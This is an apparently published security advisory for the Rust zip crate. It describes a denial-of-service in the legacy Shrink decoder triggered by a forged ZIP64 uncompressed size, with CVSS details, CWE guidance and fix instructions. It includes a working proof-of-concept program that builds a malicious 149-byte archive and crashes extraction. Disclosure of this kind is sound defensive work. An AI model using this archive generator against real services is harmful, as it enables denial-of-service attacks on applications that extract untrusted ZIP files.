Skip to content

GHSA-9hj8-73fh-9963 CVE-2026-115907

zip: legacy Shrink/Reduce/Implode decoder: denial of service from attacker-controlled ZIP64 uncompressed size

High crates.io
Severity
7.5 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.35%
Chance of exploitation in the next 30 days. Higher than 28.69% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-400 Uncontrolled Resource Consumption
CWE-789 Memory Allocation with Excessive Size Value
Fix
9.0.0
Upgrade zip to this version or later

Description

Summary

A malicious 149-byte ZIP archive can cause a denial of service in applications that enable legacy-zip and use ZipArchive::extract(). An attacker-controlled ZIP64 uncompressed size triggers a capacity overflow panic in the Shrink decoder in optimized builds, potentially terminating the affected process.

Details

When reading a Shrink-compressed entry, ShrinkDecoder::read() buffers the compressed input and reserves output capacity using the entry's declared uncompressed size:

if !self.stream_read {
    self.stream_read = true;
    let mut compressed_bytes = Vec::new();
    self.compressed_reader.read_to_end(&mut compressed_bytes)?;
    self.stream.reserve(self.uncompressed_size as usize);
    hwunshrink(
        &compressed_bytes,
        self.uncompressed_size as usize,
        &mut self.stream,
    )?;
}

In version 8.6.0, this is located in src/legacy/shrink.rs. The vulnerable legacy codecs are compiled when the legacy-zip Cargo feature is enabled.

self.uncompressed_size is populated from ZIP metadata. For ZIP64 entries, an attacker can set it to a 64-bit value independently of the archive's actual compressed payload size. The PoC declares an uncompressed size of u64::MAX, while supplying only one byte of compressed data.

The reserve occurs before hwunshrink() can validate or decode the compressed stream. Consequently, the impossible capacity causes a deterministic capacity overflow panic instead of returning a normal archive or I/O error. The behavior also occurs in optimized release builds and is reachable through ZipArchive::extract().

The same unbounded allocation pattern is present in the legacy Reduce and Implode decoder implementations. This PoC specifically demonstrates the Shrink path.

PoC

Create a new Cargo project with the following layout:

zip2-legacy-poc/
|-- Cargo.toml
`-- src/
    `-- main.rs

Use this Cargo.toml:

[package]
name = "zip2-legacy-poc"
version = "0.1.0"
edition = "2024"
publish = false

[dependencies]
tempfile = "3"
zip = { version = "=8.6.0", features = ["legacy-zip"] }

Use this src/main.rs:

use std::fs::File;
use std::io::{Cursor, Write};

fn push16(out: &mut Vec<u8>, value: u16) {
    out.extend_from_slice(&value.to_le_bytes());
}

fn push32(out: &mut Vec<u8>, value: u32) {
    out.extend_from_slice(&value.to_le_bytes());
}

fn push64(out: &mut Vec<u8>, value: u64) {
    out.extend_from_slice(&value.to_le_bytes());
}

fn zip64_extra() -> Vec<u8> {
    let mut extra = Vec::new();
    push16(&mut extra, 0x0001);
    push16(&mut extra, 16);
    push64(&mut extra, u64::MAX);
    push64(&mut extra, 1);
    extra
}

fn archive() -> Vec<u8> {
    let name = b"entry";
    let extra = zip64_extra();
    let mut out = Vec::new();

    push32(&mut out, 0x0403_4b50);
    push16(&mut out, 45);
    push16(&mut out, 0);
    push16(&mut out, 1); // Shrink compression.
    push16(&mut out, 0);
    push16(&mut out, 0);
    push32(&mut out, 0);
    push32(&mut out, u32::MAX);
    push32(&mut out, u32::MAX);
    push16(&mut out, name.len() as u16);
    push16(&mut out, extra.len() as u16);
    out.extend_from_slice(name);
    out.extend_from_slice(&extra);
    out.push(0);

    let central_start = out.len() as u32;

    push32(&mut out, 0x0201_4b50);
    push16(&mut out, 45);
    push16(&mut out, 45);
    push16(&mut out, 0);
    push16(&mut out, 1); // Shrink compression.
    push16(&mut out, 0);
    push16(&mut out, 0);
    push32(&mut out, 0);
    push32(&mut out, u32::MAX);
    push32(&mut out, u32::MAX);
    push16(&mut out, name.len() as u16);
    push16(&mut out, extra.len() as u16);
    push16(&mut out, 0);
    push16(&mut out, 0);
    push16(&mut out, 0);
    push32(&mut out, 0);
    push32(&mut out, 0);
    out.extend_from_slice(name);
    out.extend_from_slice(&extra);

    let central_size = out.len() as u32 - central_start;

    push32(&mut out, 0x0605_4b50);
    push16(&mut out, 0);
    push16(&mut out, 0);
    push16(&mut out, 1);
    push16(&mut out, 1);
    push32(&mut out, central_size);
    push32(&mut out, central_start);
    push16(&mut out, 0);
    out
}

fn main() -> Result<(), Box<dyn std::error::Error>> {
    let bytes = archive();
    File::create("poc.zip")?.write_all(&bytes)?;

    let mut archive = zip::ZipArchive::new(Cursor::new(bytes))?;
    let entry = archive.by_index(0)?;

    println!(
        "method={:?} declared_size={}",
        entry.compression(),
        entry.size()
    );

    drop(entry);

    let output = tempfile::tempdir()?;
    archive.extract(output.path())?;
    Ok(())
}

Run the reproducer in release mode:

cd zip2-legacy-poc
RUST_BACKTRACE=1 cargo run --release

Observed output with zip 8.6.0 on x86_64-unknown-linux-gnu:

method=Shrink declared_size=18446744073709551615

thread 'main' panicked at .../alloc/src/raw_vec/mod.rs:
capacity overflow

The backtrace reaches the Shrink decompressor through std::io::copy and ZipArchive::extract_internal(). The process exits with status 101. The program also writes the generated 149-byte archive to poc.zip before triggering extraction.

Impact

Applications that enable legacy-zip and pass attacker-supplied ZIP files to the following extraction API can be forced to panic before the compressed entry is validated or decoded. An unhandled panic may terminate the archive-processing process and cause a denial of service.

  • zip::read::ZipArchive::extract

Affected versions

crates.io

PackageVulnerableFixed in
zip
>= 5.1.0, < 9.0.0
9.0.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

zip crates.io → 9.0.0

cargo
cargo update -p zip --precise 9.0.0

Severity breakdown

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Weakness

CWE-400: Uncontrolled Resource Consumption

The product does not properly control the allocation and maintenance of a limited resource.

How to prevent it
  • Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
  • Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, or uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
  • Implementation: Ensure that all failures in resource allocation place the system into a safe posture.

CWE-789: Memory Allocation with Excessive Size Value

The product allocates memory based on an untrusted, large size value, but it does not ensure that the size is within expected limits, allowing arbitrary amounts of memory to be allocated.

How to prevent it
  • Implementation, Architecture and Design: Perform adequate input validation against any value that influences the amount of memory that is allocated. Define an appropriate strategy for handling requests that exceed the limit, and consider supporting a configuration option so that the administrator can extend the amount of memory to be used if necessary.
  • Operation: Run your program using system-provided resource limits for memory. This might still cause the program to crash or exit, but the impact to the rest of the system will be minimized.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-hjqx-j4rw-g7xv
zip: Arbitrary file write outside the extraction directory, because ZipArchive::extract validates symlink targets lexically.
High Also affects zip
GHSA-q7v9-x93c-xqv3
zip: Unbounded Symlink-Target Handling Can Abort Or Exhaust Memory During Extraction
High Also affects zip
GHSA-m665-v7pm-7grj
zip: Critical Parser Differential & Security Control Bypass via Dual-Header Inconsistencies (Zip Cloaking) Leading to Arbitrary File Overwrite & RCE
Critical Also affects zip
GHSA-8hxf-qr8p-62x4
zip: AES Entry HMAC Authentication Bypass on Premature EOF
Medium Also affects zip
RUSTSEC-2026-0369
ZipStreamReader::extract() and ZipArchive::extract() apply Unix permissions through symlinks without confining the target
Critical Also affects zip
RUSTSEC-2026-0368
zip: `ZipArchive::extract` creates symbolic links whose attacker-controlled targets are outside the destination directory
Not rated yet Also affects zip
RUSTSEC-2026-0367
Insecure Preservation of SUID/SGID Bits during ZIP Extraction Leading to Potential Privilege Escalation
High Also affects zip
GHSA-94vh-gphv-8pm8
zip Incorrectly Canonicalizes Paths during Archive Extraction Leading to Arbitrary File Write
High Also affects zip
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor